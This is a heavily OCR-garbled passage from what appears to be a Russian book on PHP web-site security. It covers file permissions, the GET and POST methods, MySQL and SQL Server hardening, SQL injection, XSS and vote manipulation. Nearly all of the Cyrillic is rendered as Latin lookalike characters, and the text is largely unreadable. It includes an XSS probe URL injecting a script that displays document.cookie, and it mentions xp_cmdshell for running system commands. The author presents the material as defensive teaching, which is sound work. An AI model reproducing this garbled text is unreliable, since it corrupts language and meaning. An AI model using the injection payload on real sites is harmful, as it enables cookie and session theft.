CTO KPaCcHBO, KOI/ZIA BCE NIEWHT aKKypPaTHO.

TlpaBa Ha BBINO/HEHHE JOMKHbI GbiTh TONBKO Y TeX (aliios, KOTOPLIM 3TO AeHCT-
BUTENbHO HeoGxoxumo. Hampumep, daiinbl ¢ komangamu JavaScript nomuHbl
HMeTb NpaBa TOMBKO JUTA YTCHHA, HO HHKAK He A4 BBINOTHEHHS, T. K. Takue dal-
JTbi BLINOTHAIOTCA Ha CTOPOHE KHEHTa.

1.11.2. MpaBa cucTeMHbIX cueHapues

V cHCTeMHBIX ClleHapHeB He NOMKHO BbiTh HUKAKUX NpaB M HX BIjIeAbLAMU
JIOIDKHBI BbITh TONBKO HENPHBUIIErHPOBAHNLIE HONL30BATE/H.





index-132_1.png
128 Inaga 3

(] $HTTP_USER_AGENT — CTPOKd, HASHTHQUUMPYIOWAS (POrpaMMy KIHEHTa, Ha-
npUMep, Ha3BaHue Spaysepa, XOTA €€ 3HAUECHUE HE BCET/A COOTBETCTBYET ACH-
CTBUTEBHOCTH;

] $HTTP_ACCEPT — mepeyeHb Gaiifos, KOTOPbIe MOXET 06paboTaTh KIHEHT.

HMGKO HE BCC U3 ITHX NEPEMEHHBIX GCSOI'IBCHBI, TIOTOMY MTO XaKep MOXKCT BO3-
HEHCTBOBATDL HA HHX. I[CJIO B TOM, YTO HEKOTODbIC NapaMeTpbl GCWI'CH n3 nony-
HEHHOTO OT MONBIOBATENA NIAKETA, M HET FAPAHTHH, MTO XaKEP HE MOMNEN&s HX.
Hanpumep, nepeMenHas $HTTP_USER_AGENT yKasbiBaeT Ha Gpaysep, KOTOpbIH
OTTIpaBMAT 3a0poc. 3TOT MapaMeTp 3alONHACTCA Opay3epoM aBTOMATHYECKH, HO
XaKep JIerko MOxeT chopMHPOBaTh TAKOii 3aMpPOC, B KOTOPOM $HTTP_USER_AGENT
GynyT conepKaTh HEBEPHBIE JAHHLIE.

Jlapaitre paccMOTPHM BCIO OMACHOCTb HAa MPHMEPE NEPEMEHHON $REQUEST_URIL.

He floBepaiite 5TOMY napaMeTpy, NOTOMY HTO XaKEP MOXET JErKO NOBNMATL Ha

#ero. JlonmycTiM, YT y Bac eCTb caeaylowmii kon Gopmbi:

<?

print("<form action=\"http://".$SERVER NAME.SREQUEST URI\*
method=\"post\">") ;

// 3hech HAXORATECA BTEMEHTW YNpaBRess

print (*<input type=\"submit\" value=\"Submit\">");
print ("</form>") ;

>

B nanHom cnyyae GopMa nepenaeT BBEASHHLIS NAHHEIE CLEHAPHIO, anpec KOTOpo-
TO (OPMHMPYETCA U3 MepeMeHHbIX SSERVER_NAME M $REQUEST_URI. Ecnu ofneap-,
HHUTh COASPXHMOE 3TUX [IBYX EPEMCHHBIX, TO MBI [TOJy4aeM nonsetii URL K Te~
KyllleMy CLEHADHIO, T. €. NaHHLIE CLIEHADUH HANPaByT caMm cefe, Ho npu sTom URL
Oynet onpeneneH auHaMuteckd. Ouerb ynoGHOe peilieHie, HO OnacHoe.

JHomyctuM, uto xakep BBeper B crpoke URL  creayrommii  appec:
hitp://yoursite/index.php?"'><script>alert(document.cookie)</script>. B oter
Ha 370 okHO Gpaysepa oToGpasuT MOaanbHOE OKHO, B KoTopom Gyaer oToGpaxketo
conepxumoe Cookies. Jla, xakep ysuaut ceon Cookies, Ho 4ToGbi YKpacTh AaH-
Hbl€ JpYroro fofbp30BaTeNs, AOCTATOHHO CAENaTe TakK, uToBb KepTBa WeaKHy A
Ha HYXKHOI CCBIKE, it MOACTABHTH el HyxHbii JavaScript-kon.
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1.14.1. CaMoCTOATENbHO HANNCaHHbie NPOrpaMMbl

Ecqikt y Bac HET JIOCTATOUHOrO OMLIT2 HAMHCAHWA NPOTPaMM, TO HUKOLR, AAKE
TIpH CAMBIX YHUIMX TEOPETHHECKHX 3HAHWSX, He NbITAHTECh TIONYSHTEH €ro, Bbl-
NOMHRA NPOEKT, KOTOpbIH GyIeT AOCTyNeH LMpokoii ofILECTBEHHOCTH, i oT paboTh
KOTOpOro GyJieT 3aBUCETh Balll (PHHAHCOBbIN JOXOA. A €CMH y Bac HET JaKe Teope-
THYECKHMX 3HAHU, TO HE CTONT JaKe AyMaTh O CAMOCTOATENbHON pazpaboTke.

HeBoamokHO nepecunTaTh, CKONLKO NPOEKTOB GbUTO BIMOMAHO TONBKO MO To#
TIPYUKHE, YTO HX HAYMHATH Pa3paGaThiBaTh HEONBITHBIE NPOrPAMMUCTbL. ECH BB
He XOTHTe, 4Tofbl 3TO MPOM3OLIIC U € BAUIMM, TO HE CTOMT MOBTOPATh WyXKHX
ourGok. ITpoexTsi, KoTopble GYAYT OTKPBITBI ANd BCeoOIREro MCNONB3OBAHUR,
JIOMKHBI paspaGaThIBaTECA TONBKO NPOhecCHOHANAMH, NOTOMY HTO CPeliH THICAMH
AOBPOCOBECTHBIX NOCETHTENEH MOXKET NONACTBCA OAMH XaKEP WM APOCTO BPeau-
Tellb, KOTOPbIH CMOXET HaHTH yA3BUMOCTD i HCNONB3OBATD €e.

1.14.2. TporpaMmbl, HanucaHHbIe NOA 3aKa3

Jlyuwee pewenye, ecin y Bac €CTb ACHBIH U BO3MOKHOCTb — 3TO 3aka3arh Npo-
TpaMMy y npodeccHOHaNBHBIX NPOrpaMMUCTOB. Y NpodeccHoHanoB BCeraa uMe-
€1ca A0CTAaTO4HO HapaBboTOK, KOTOpble MOKHO HCMOML30BATH TA PELeHHA BaleH
3aga4n. XOpowo OTIaKeHHbIH KO NO3BONAET COo3A2BaTh Ge30MACHBIC pelICHUA,
a Grarojaps TOMy, 4TO KOJ, CKOPEE BCEro, 3aKpbiThlii M CTPYKTypa Gasbl JaHHEIX
3apaKee HEM3BECTHR XaKepy, BIIOM 3HAUHTENLHO YCTOKHACTCH.

Uto Gbl HH roBOPHAH CTOPOHHHKH Open Source (NPOrpaMMbl ¢ OTKPLITHIM HCXOA-
HbIM kOﬂOM) B 3ALMTY OTKPBITOCTH, 5 CHUTAIO, HTO Y HEe eCThb CAULIKOM GonsLroi
HeOCTaToK! Hel'lqu)cCCuOHBﬂbele H HeonbITHbIE NPOrpaMMHCThL. MHorue co3-
AT K UCNCAL3YIOT Open Source TonbKO JAna Toro, YTOGBI NOMY4YHTh ONbIT ¥ OT-
TOHHUTb CBOM 3HAHKUSA.

3aKpLITYIO NPOrpaMMy B3NOMaTh HaMHOro cioxHee. Jlaxke ecnu BBl Haligete no-
TEHUHANbHYIO OLUVISK)’, KXKA0E NpOABHMKEHUE MOXET COMPOBOXJAATLCH Cepbel«
1biMK Npo6GieMaMy W NPenaTCTBUAMY. OTKPBITHIE TEXHONOTHK NpUHOCHT Gonblue
HPOGHBM, YeM 3AKPBITHIEC, NOTOMY YTO NPEAOCTABNAIOT Xakepy CAHLWIKOM MHOTO
undopmaunm:

1. Kax Mbl yce onpeaenHim, Xakep sHaeT cTpyKTypy 6asbl JaHHBIX.
2. Xakep 3HaeT, rie HaXOQHTCA NaHedb 2AMUHHCTPHPOBAHUS.

3. OtkpeiTa HHGOPMAUMA © TOM, rZe HAXOAATCA OCHOBHbIE HACTPOHKH W mApOAH
JrocTyna.

‘Yo oCHOBHbBIE HEJROCTaTKH, KOTOpLIE ofsieryator B3JOM, 3aKpbITLIC PeICHHUA JIH-

utcupt Ux. Jla, B ramury Open Source MOXHO CKa3aTh, YTO GJIATO/MPA OTKPBITOSTH
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YeTaHOBHTS mpasa Hocryna. CosaliTe B AMPEKTOPHH ¢ Gaiinamu, K KOTOpEM He
nomkno GbiTh npaMoro KocTyna, datin .htaccess co CACAYIOLAM COACPIKHMBIMS
Order Deny,Allow

Deny from all

Allow from 127.0.0.1

B 2ToM npuMepe Mbl 3anpewuaem Mool aocTyn k (aiiny uepes Gpaysep ana Beex,
KPOME JIOK&/IbHOTO KOMITbioTepa. Takum oGpasom, Xakep HE CMOMKET OGpAaTHTLCH
HANPAMYIO K (afinam NUPEKTOPHH, ROCTYI OTKPLIT TONBKO cleHapuaM Web-cepsepa.

Quenp yacto va Web-cafitax GLiBaeT AeHTa HOBOCTEH, CLleHapHit fNa OTNpaBKU
cooBieHHii afMUHUCTPATOPY W APYTHE MPOrPaMMBI, KOTOPLIE TOABKO MOAKTIOUA-
1oTes Kk ApyruM Web-crpannuam. Cuenapuii ICHTH HOBOCTEH OHCHB HacTO BIITIO-
HeH B r7asHyio Web-crpaniuy, Hanpumep, ¢ IoMoLIbIO PysKunM include, Briome
JIOTHYHO YOpaTh Bee (aliaby, OTHOCAWMECA K JIEHTE, B OTACALHYIO, 3aLUKLIEHHYIO
¢ nomowbio .htaccess aupextopuio. Tax Bam Gyaer ynoGHo U Gonee cnokoiHO
ynpasnate Web-caliToM, NOTOMY 4TO BEpPOSTHOCTh B3NIOMA YePE3 3ALIMIICHHBIC
CLIEHAPHM Pe3KO YMEHbIUAETCA.

Tonofuble TpoGeMbl ecTh BO MHOMKECTBE CLUEHAPHEB TIOATNMCKH/PACCHITKH HOBO-
creii. Hanpumep, nasaiite nocmoTpum Ha cuenapuii MLM (puc. 2.4). On ouens
TIPOCT B YCTAHOBKE — HOCTATOMHO TOALKO CO3AATH A¥PEKTOPHIO, YCTAHOBUTD &
npasa 707 (nonuwe npasa And Bnanenbua U OCTaNbHbIX, TPyNfe npaea Heobs3a-
TenbHbr). Teneps sanyckaem daiin index.phtml u B hopme BBONA yka3blBacM ma-
pors. Tlpu nepeoM 3amycke HyKHO Yka3aTh Naposik, KOTOPbIH BEY XOTHTE HCMOb-
30BaTh [ANA AAMMHWCTPHPOBaHUA. MMeHHO ero HyxHO GyneT BBOAMTH HpH
CnepyloLeM anycKe.

Camoe uHTEpecHOE, YTO B KAYECTBE PACIIMPEHNHA Jnd (afioB CleHapHEB MCONE-
ayerca .phtml. ITo ymonuannio Web-cepsep He BCerza MOMXET BOCTIPHHUMATD 3TO
PaciiMpPeHue B KAYECTBE WCMOJHAEMOTO Ana uuTepriperatopa PHP. Omuu pa3
A BHAEN, 4TO paciuMpenye (aiiToB NPOCTO NEpenMeHoBaNn Ha .php U OTKOPPEKTH-
POBANA KO, [IPH ITOM AAMMHMCTpaTOp 3a6biT nepenMeHoBaTh daiin setup.phtmi,
A€ HAXOAMNCA faponb. EC/M BB CTONKHYAHCH ¢ TaKol e cuTyauuel, To mepe-
MMEHYHTE paciMpenne ecex Garnos Ha .php.

baza naHHRIX B AaHHOl NporpaMMme ChpATana [OCTAaTOMHO YuauHo. B daiine
setup/setup.phtml saxoaaTcs Tpu napamerpa:

Slists = *447b183c81£84";

Slistadmin = "447b183c8274£":

Sbackup = "447b183c8274£";

llcpumit napameTp kax pa3 u ONpeReNseT nosokeHne Nanky u dalimn ¢ TokuM
umencm, ¢ naxoautca Gaza nauneix  pacceiiky, Ecau dalin  nactpook
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IMone password HEBUAHMO, HO COAEPKUT 3HaueHHe. TakuM oGpasoM, MOKHO Tie-
penaeaTs OT CLCHAPUA K CLICHAPHIO Onpefeneutble Aanutie, Teneps nocie nepe-
Dauu TapameTpoB y cueHapus param.php GyneT ABe mepemeHHble $UserName
H $Password C YCTAHOBICHHBLIMH SHAHCHUAMH,

Huxorzia He niepenagaiite Takum 06pasoM BaXHEIE N2HHbE. CKPhIThIE TONA RCEFIA
TIPHBTEKAIOT BHUMAHKE Xakepos. HecMOTpA Ha To, 4TO Mofe Naposis He BUAHMO Ha
¢opme, aoboli Gpaysep nossonseT mpocMoTpeTh Mexoaubii kon HTML-gopmsr.
Hanpumep, 5 Internet Explorer ana 370ro syxHo sbiGpath Meaio View | Source.
JlioBoli Xakep CMOXET YBUWAETh 3TOT NMAPAaMETP B MCXOMHOM KOZE, a C/iH Hado,
TO # W3MEHMTb. JINA WIMEHEHMS WCXOHHBIA KON CUSHADHA COXPAHACSTCA HA flo-
KanbHOM JMCKE TONB30BaTENd, MIMEHAeTCS napaMerp (6CAH HARO, TO HIMEHSAETC
none action thopmer Ha nomubiii URL) 1 suimonvsercs sanpoc k Web-cepsepy.
Ecnu BBl He 3HacTe, KaKHe 1aHHBIE BAXHBIE, @ KAKUE HET, TO HE HCNOAb3YHTE 3TOT
meTon Boobue.

Teneps norosopuM nonpofuee o MeTonax nepenauy mapamerpos. Kaxk bl yxe
3HaEM, MX B2 — GET W POST. B 060MX cnyuasx MHTEPNpETaTOp CO31ACT NEPEMEH-
HbI€ C TAKHMH k& HMEHAMM, HO PAsTHYHA B METONEX €CTh.

3.4.1. Meton GET

Hausem ¢ METOna GET. Bce napaMeTpel, KOTOpLIE NepeJaloTes CUEHAPKIO, TToMe-
amTea B rrofanbabe NePEMEHHbIS. INomumo ITOrC, OHH NOMELATCa B MACCHB
SHTTP_GET_VARS. Y1o6h1 HE mUcaTh Takoe JTMHHOE HMA MacCHBa, MOXHO UCTIOND-
30BaTh UMA $_GET. Ho n 210 €LUE HE BCe. Toab3oBaTenb MoxeT BHAETD lTapaMeTpbl
8 crpoke URL. Hampumep, nociie BLINONHEHUS npUMepa ¢ mepenadel UMeHH U
napons  URL  wuamenntca Ha:  http://192.168.77.1/param.php?UserName=
Flenov&Password=qwerty. .

TMocne anpeca HAET CHMBON BOTIPOCA, MOC/E KOTOPOTO NEPEUHCAIOTCA TTapaMeTpbl
B BMIE uMa=3Hauenue. [lapamerph pazaenenni mexay coGOH CHMBOROM amnep-
caHpa "&".

Kak Bl gymaerte, sgasercs g4 5707 meTon GezonacHpiM? CoBepiueHno He. Xake-
Py HOCTATOUHO MPOcTO GyHeT U3MeHUTs N1oGoii napaMeTp BPYuHylo ¥ nonoGpare
cro paxe Ge3 HIMEHEHHA WCXOLHOTO KOZa (OPMLI JUIf OTMPABKM NAPAMETPOB.
B0 BpeMa APOTPaMMuPOBAHMA CLIEHAPUEB BY HOMXKHLI CAENaThb Bee Tak, ¥Tobmi
xakepy 6110 MaKCHMANBLHO CAOXHO NOAGHPaTH HyXHbie TapaMeTpbl. Hanpumep,
cciiv HEpe3 METOH GET NepesaeTca naposb, TO 3MOYMBILINEHHHK CMOXKET IETKO ero
nogoGpats,

Bropas npo6nema TaKOTO METOAd — OTKPHLITOCTE. ONATE XKe, PACCMOTPHUM 1IPHMOP
¢ naponem. Ecu nons3oeatens BBES NMaposib  3alled B 3alAweiiy1o ofiacTh
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MOXHO 3aITyCKaTh ClieHapuH, KOTOpEIfi Gyler aBTOMATHYECKH YNaNATh CKPLIThIE
cTpokH (NoMeucHHbIE Ha yianeHKE).

Takim oGpasom, Jaxe eClM Xakep W NIPOHMKHET Ha CepBep C NpaBaMi NPOCTOro
TIONLIOBATENS, & HE ANMMHHCTPATOPA, TO OF HE CMOKET YHUUTOXHTL faHHbe, Jla,
OH MOXeT HaMyCOPHTb, TIOTOMY HTO OT ONEpaLMK INSERT HUKYJA He JeHelUlbeR,
HO YHHUTOKHTL HE CMOKET.

A KaK xe Torza ofHoBneHKe UPDATE? A BADYT Xakep oGHYJIHT cofepuMOe BCEX
noneit abauu? M TyT MOXHO peanusosath npocTeifillylo, Ho focTaTo4HO addex-
THBHYIO 32LUMTY, eClH 6232 A2HHBIX NO3BONACT CTABHTE paspellieHHA Ha BhINOAHe-
HHUE ONPEHENEHHbIX ONEpaTopoB Ha oTaenbHbie nond. He norananuce? Moxwo
paspeuruTs OGHOBNIEHHE TONBKO MOJA, KOTOPOE OTBEMAET 3a BUAMMOCTh. Ecim
HY>KHO OGHOBHTE CTPOKY, TO CTapble AAHHEIE MoMeUaeM, Kak HEBHUMbIE, & HOBbIC
AaHHble 106aBaReM B BHAE oraenbHOl cTpoku. Taxum ofpasoM, MakcuManbHbiH
yuep6 — BCe 3aNKCH NOMEYeHbl Ha yAaneHue, HO WX erko BOCCTaHOBHT. [nas-
HOE, YTO CaMI aHHBIE Ha MeCTe K B Ge30MacHOCTH.

Ilpasa noctyna k CYB]l u Tparrepbl — 3TO 0YeHb MOLIHDBIH WHCTPYMEHT AONOI-
HUTENbHOro oGecneyeHd LeOCTHOCTH NaHHBIX cepeepa. HeoGxomumo sanperuts
BCE, @ Pa3PELIHTL TONLKO Camoe Heobxoaumoe. Yem GOnbLIe CPEACTB 3LIMTE BEI
GyzneTe UCHONB3OBATH, TEM ClIOKHEE Xakepy GyaeT nPoGHTLCA CKBO3b Ty 3AIATY
1 nooGpath KNKO4M K Baulel kpenocTy.

BonbwinacTeo CYBJ no3BoAfOT WCHOML3OBATH CHCTEMY, BBINONHATL B Hel
KOMaH/b! MM auTaTh daiinbl. B MySQL ecth takas koMaHaa LOAD DATA LOCAL
file. PekoMeHAYIO 3aNpeTiTs ee BLITIONHEHHE W He HCNOMb30BATH B CBOMX CLEHA-
puax. Ins atoro B dakne /etc/my.cnf nuwrem B pasnene [mysqldl:

Bet-variable=local-infile=0

Mpaea Ha ynaneHHoe noakntoueHue k CYBA

Mb! ye 3HAaEM, HTO NOMb30BATENH HE JOMKHBI MMETh NPaBa NPAMOTG NOKIIONE-
uHa k MySQL. MM npocto ato He Hy:xHo. O6patuasch k cueHapuio Ha a3bike PHP,
umenHo Web-cepsep, a He nomb3osarenb, noarnoyaercs k CYBI.

UtoBel 3anperuTs yganedHoe noakniouenne k MySQL, neobxoaumo s daitne
/etc/my.cnf, B pasgene (mysqld], OpONHCATh NaPaMeTp skip-networking. Ho an-
MUHMCTPATOPbI OYEHb YACTO JOMKHBI HMETh JOCTYN K Gaje JaHHbIX YZANEHHO,
13 2TOM ciyyae MOKHO NOCTYNHTL OZHKUM H3 CTEXYIOIMMX CriocoGoB:

1. Paspeumnrs yjaneHHoe noAKTIOYEHHE, HO IPA ITOM JALLHTHTB €T0 C NOMOIIBIO
ceTeBoro akpana. MySQL npuuumaer coeausenus Ha nopr 3306, Heobxonumo
{IPONHCATD 3aNpPeT Ha A0CTYN K 3TOMY NOPTY /1A BCEX M ABHO PA3peLUUTs A0CTYR
TOJIBKO ¢ OnpeaeneHnbIX [P-anpecos, rae paGoTaIOT aAMHHKHCTPATOPDI.
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Banom PHP-cueHapues

OnHuM U3 CaMbiX TIOTY/IAPHLIX A3LIKOB NPOrpaMMUpoBaHus As Web Ha naHHBii
moMeHT asiserca PHP, u o1 nocTenekno Habupaet eme 66biuyio NOMyNSpHOCTS,
B oroit rnaBe Mbl MOrOBOPHM O Haufosee €AacTO BCTPEHAEMbBIX YA3BUMOCTAX
8 PHP-cueHapHax W paccMoTpuM, kak paspaGoruuku Web-caiitos MoryT ux us-
Gexars.

CamemM GezonacHeiM asiserca Web-calfT cosganseiit na ocnose HTML wunu oc-
HOBaHHBI HA CEPBEPHOM A3biKe mporpammuposatius (Server Side), koTopbiit He
APUHHMAET napameTpos. IMeHHO napameTphi, KOTOPbIE MOAYHAKT CleHAPHH,
OMeHb 4aCTO ABAOTCA NOTEHUMANBLHBIM HCTOUHHKOM oIMGOKH. Xakep MoxeT cdop-
MUpOBaTL OMpeaenenHbM 06Pa3oM 3aNpoC M €CATH cUeHaphit hesepao obpadarsi-
BAET MOAYHCHHBIC [TAPAMETPEI WM TPOCTO HE TIPOBEPAET UX HA KOPPEKTHOCTD, TO
XaKep MOKET TIOBLICHTS CBOU NPHBWIETHH, YTO NOAPA3yMEBACT:

1 BBLIMONHEHHE KOMAH HA CEPBEPE, TAKMX KAK NPOCMOTP, KOTMPOBAHHE U yaane-
HHe daiinos;

O sbimonHeHde NpousBOALHEIX SQL-3aMpOCOB, KOTOphie MO3IBONAT YNPABIATH
6azoit nanubIX, ecni cueHapHii HCNOB3yeT 6a3bi NaHHEIX ANS HOPMUPOBAHHS
Web-cTpasyu.

Ho ne cTouT 3a6uiBaTh, YTO TPOGASMHEIM MECTOM CLIEHAPKA MOXKET GBITh HE TOMb-
KO napaMetp, KOTOpbIH aBHO nepemaerca uepes ctpoky URL, Ho u ¢aitiel
Cookies. B Takux aiinax cLeHapH{ MOFYT COXPaHATH OTIPEAEICHHbIE SHAHEHUA,
KOTOpbIE TPOrpaMMa MOXeT UCIIONL30BaTk TIPW Nepexone nonbsosatens k Web-
crpannue. OHM aBTOMAaTHYeCKM NepenaloTes Ha Web-caifT, KOTOPbIH MoXeT BU-
nev conepaumoe Cookies. 3uaueHus 3 aroro dalina moryr GurTs BUAHEN cueHa-
PHIC KAK NPOCThIE MepeMeHHbIe Wi Kak maccHs. [Tony4aeTcs, 41O B 1IEKOTOPBIX
ciydanx, eciiu cnelanbabiv obpasom noaxoppektuporate Cookies, Takum ofpa-
1OM MOMKHO TIOWATE YPOBEHE CBOMX NPUBHACTHI!
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XSS

B nocneasee BpeMA OueHb MHOTO PasTOBOPOB GBIO O TOM, HYXHbI aH (afnsl,

Cookies unH Het. [la, OHH NO3BONAIOT COXpaHATE Web-calitam uHGOpMauuio HA

KOMNBIOTeDE MOML3OBATENIA M [OTOM HCMONE30BATS €¢ ANA TPEOCTABICHHN

TIEPCOHANTU3HPOBAHHOTO conepiumoro Web-ctpauuu. B 2zase 9 Mbl yxe suae-
7, HTO OAHHM K3 cnocobos ucnons3osarus Cookies ABNAETCA XpaHeHHe UMEHH

NONBL30BATENA W Mapons s ocymec‘;mleﬂm NOCNEAYIOWEro aBTOMaTHUECKOrO

BXOHa.

B GonblMHCcTBE CTyqacs 310 odeHb ynobHo, HO aanexo He Gesomacho. MeHs He
BOSHYeT, 4T Web-caltTel MOryT COXpaHATS B Takux daiinax HHGOPMALMIO O TOM,
kakHe Web-CTpaHULb! 4 NPOCMATPUBAN M YEM R HHTEPECYIOCH. DTy HHOOPMALIHIO
MOXHO coxpanuTs U 6e3 Cookies. MeHa BOMHYET TO, MTO 3TH JaHHbIC MOXKET YBH-
neTh xakep. Onux ua cnocobos BoposcTea — ataka XSS,

Jna peanusauuu 3ToH ATakM Xakepy HeoGXOmMMbI 6asoBble 3HAHUA A3bIKA
JavaScript. IToT 236K O¥EHb MPOCT H HA nepsbili B3FIAR abcomoTHO Gesobunen,
FIOTOMY YTO HE WMECT HOCTYNa K pecypcaM KommbioTepa. EanuacTsenuoe, wro
MONKHO IENaTh ¢ OMOWbIo JavaScript — ynpasnsts Gpaysepom, HO AN xaKepa
3TOro Aoctatouto. Inassoe — sHenputs cBol JavaScript xon B Web-crpannyy,
a Jansiue yxe NeHCTBOBATE N0 CHTYaliMM. A CHTyaUMM GbiBAIOT pasHble, UX M3y=
uYeHueM MBI U 3aifMeMcs B 5Toll rnase.

10.1. OcHoBbI XSS

Onats ke, Bce NpUMeps! cuenapuer B 7ol riase GyayT npuseaekt: ka PHP. Tlo-
uemy? [ToBTOpIOCH: MPOCTO A ero Myuiwe 3Hal0. Ho 370 HE 3HAUMT, 4TO ecnu Cue-
Hapyl HAMYCAH HA APYTOM A3bIKE, aTaka GyAeT HeBOIMOKHON,

Yawe scero XSS nonsepxerbi Web-caiiThl, B KOTOPbIX HCIIONEIYETCH YTOH-
TH(UKRLMSA NOCPEACTBOM JAHHBIX, Xparatuuxca B Cookies, 1 ecTh BOIMONKHOCTS
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5.5. 3awmTa CYB[]

Oumbke, TPUBOASIIEH K BO3ZMOXHOCTH SQL-HHBEKLIHH, MTOABEPIKEHB! CLIEHAPHH
Ha BCeX A3blkax nporpaMmuposanya M sce CYBJI. Jleno B ToM, 4TO K 3TOMY Tipu-
BOAUT 0coGeHHOCTb g3bika SQL, a XaKep UCMOME3YET HMEHHO €10 BO3MOXKHOCTH.

MpocTeiiias samura o7 SQL-UHBEKUHM CTPOKTCA CAeAylomMM 0GpasoM: Bbi
AOMKHBI 3aTIPELATh MCIIOTb30BATE WAW M30AMPOBaTH (0Ge3BpexuBaTh) oauuap-
HyI0 KaBbluKy TaM, P OHA MOXET HAHECTH BDE/L.

BO3MONKHOCTH, KOTOPBIE MOXKET MOMYYHTh Xakep TpH HCnonbiosanu SQL-
MHBCKLIWH, TAKKE 3BUCAT HMensO oT Henonkayemol CYBJI. Hanbonee nomynsp-
Hol apyaetcs MySQL, notomy 4To 3Ta 6asa AaHHbIX GecnyiaTHa W BXOAMT B NO-
craBky GONBIIMHCTBA AWCTPUOYTHBOB Linux, M MMEHHO NOITOMY MBI e¢ M pac-
CMaTpHBANH.

Ho B MIHTEPHETE MOXKHO BCTPETHTE MHOKECTBO Web-CEpBEPOB, KOTOPBIE HCTIONDb-
3yloT Gonee Mowmnbie (oGrafalommye GOABLIHM KOJMYECTBOM BOIMOXHOCTENH)
CYB]l, nanpumep, Oracle unu MS SQL Server. Ho uMeHHO nomonnuTenbHbIE
BOZMOXKHOCTH MOTYT JaTb XaKEpy OMACHbIE MPHBUAETHH NP HENPABUILHOR Ha-
crpoiike.

TomuuTe, YTO YUeTHas 3aITMCh, O KOTOPO#H cueHapuu moakmovatotea k CYB,
AomkHa o6namaTh TONBKO MHHUMAIBHBIM HaGopoM BoaMoxHOCTeH. Hamuoro
nyswe 6yaerT, eciu 1A HENPHBHACTHPOBAHHLIX MONb30BaTeNeH cueHapui Gyxer
TIONKMIOYATECA TOA YYETHOM 3aIIHCBI ¢ MUHHMATLHBIMH BO3MOXKHOCTAMY, a Clie-
HAPAY AZMYHACTPHPOBAHIA — MOR APYToit YueTHOMH 3anuchlo.

Y npocTsix nosbiosareneli He JOMKHO BbiTh BOIMOXHOCTH YIANATE 3AMHCH, 10~
3TOMY ANIA HUX NO/KEH CTOATH 3ATIPET HA BbINOJIHEHHE OnepaTopa DELETE. Eciu
HE NMOAPa3yMEBAETCA HUKAKUX onepauuﬁ OSHOMCHHH, TO H€O6XOHHMO 3afpETHTb
W orepaTop UPDATE. BeTasKa AaHHbIX HEOGXOAHMA TakuM CUEHApUaM, KAk GOpyM
WM FOCTeBan KHHIa, a €CNU Y BaC CUCHAPHK, KOTOPbIE TOBKO oToﬁpamBIO'l‘ AaH-
Hble (BLIMONHAIOT ONEPATOP SELECT), TO HEOOXOMMMO 38MPETUTH H INSERT.

Hcnonb3osasna paciuPeHHbIX GyHKUMH 1 npouenyp #eoOXONUMO CTApaTHCA H3-
GeraTe. [lo yMonuaHuio Bee OHK HOMKHE! GbITh 3allpeliteHs!, U BLIAaBaTh paspe-
WEHHA HEOBXOAHMO TONLKO NIpH Kkpaiined HeoGxoaumocTH. Koraa wactynmaer sta
kpaitnocTs? Koraa 6e3 nanHoi BOIMOXKHOCTH He 0GoHTHCD.

B MS SQL Server ecTh oaHa oueHb onacHas npouenypa — xp_cmdshell, ¢ 0O-
MOULBIO KOTOPOH MOMKHO BBINONHATL KOMAH[ILI OT MMEHW YueTHOH 3amucu, roA
koTopo# paboraer MS SQL Server. Tak xax 37a CYB/I ouenb uacto paboTaet nox
CHCTEMHOM YYETHOM 3aMHCHIO, TO XaKEP MOXKET MOJIySHTh HEOTPAHHHEHHbIE NPaBa.
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MpocTbie MeToAbI B3NoMa

B 370fi rnaBe MBI paCCMOTPHM HECKOIbKO METOAOB B3NIOMa, KOTOPbIE MOKHO Npo-
BeCTH Ha GonbuioM konuuecTse Web-cafiros. [TonoGHble Belly awe Bcero npo-
BOAAT C 11€/1bI0 OTOMCTHTb Brianenbllam Web-caitra. OGa BapuaHTa pOCTbI B NPH-
MEHEHHH, U 5 HaJEIOCh, YTO Bbl HE Gy/ieTe MMM 3N0YNOTPEGNSTh — 3TO Ke TO XK
caMoe, 4To GpocaTh MyCOp Ha YHLbI.

Cpasy OroBoproch, 4TC KHHra HalpasieHa He Ha TO, YTOGBl HAYIMTb Bac Noxob~
HbIM METOJaM, 2 ANA Tero, 4yTOGbl Bbl 3HANM BO3MOXHbIE MCTOMHHKH yrpo3st
W yMENH OT HHX 3aWIMINATECA. S, kak BAajeneu AsyX Web-caiiTos, He pas BCTpe-
YaICA CO BCEMH ONKCHHEIMM B 3TOH rMiaBe UyTKAMM Hea0GPOCORECTHBIX NOCETH-
Tenei. Hanetoch, 4To 3Ta rnasa NOMOXET BaM He CTONKHYTLCH € TKUMH ke [po~
Grnemamu.

2.1. HakpyTka ronocoBaHus

CHcTeMbl rONOCOBAHMA Ha pasHbX Web-caiitax HOCTOAHHO pa3sBHBAIOTCA, H NPO-
TPaMMUCTBI 3aKpbIBAKOT HﬂSeﬁKM, € [OMOLLBIO KOTOPBIX NQJIb30BATENH MOTYT
rONOCOBATL MHOIOKPATHO (HakpyTka ronocosaHis). lomycTum, 4To Hekasd KOMNa-
HHUA [pPOBOAUT UHTEPHET-ONPOC, U Bbl, ECTECTBEHHO, XOTHTE, 4TOGHI HOSEIIHJIB
sawra Bepcus oreera. Kax xke nocrynuTh B Takoii cutyauuu? Bapuartos MHoro,
110 BCE 3aBHCHT OT NPOTpaMMbl, KOTOpas coSupae’r ronoca nons3oBarenei.

PacemoTpUM  cnocoBel Hakpytku Ha Web-caiire www.download.com. 3xeck
MOXKHO rONOCOBaTh 32 H0GHMbIE NPOTPaMMBI, OTAABaf MM CBOE NPEANOYTEHHS,
Licny BbI BUAKTE, YTO Baa H3GpaHHUUA MMEET NIOXOW PEHTHHT, TO MOXKETE (0=
1bLITATLCA UIMEHHTD CHTYRLIHIO K NOMO4b paapaﬁo'rlmxy.

Uto6bl NOHATb, KaK MPOMCXOZMT HAKPYTKA, HYXKHO 3HATh, KakuM ofpasom
pufoTaeT cucTeMa ronocoBarus. Camblil npocTol BapuanT ee paGoThl — UCNONb-
ronaiive Cookies (310 T. H, (albI-IOLIKH, B KOTOPbIX MOXHO coXpanaTh molyo
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Gonee 100 ofpamenu#i, To K3WHPOBAHHE MOXET PealbHO NOMOYL BallleMy
Web-caiiTy.

Bo Bpems KaiiIMpoBaHUs, TIPK MepsoM OGPAIMEHWH 110C/E BHECEHHA HIMEHEHMH,
nansble Web-cTpaHuLe! OPMHUPYEOTCS © NOMOLIBIO CLSHAPHA, W TTOcAe HOPMUpo-
BAHUA COXPAHSAIOTCA HA JKECTKOM AUCKE B creunatbHoll aupexropuu. pu nocne-
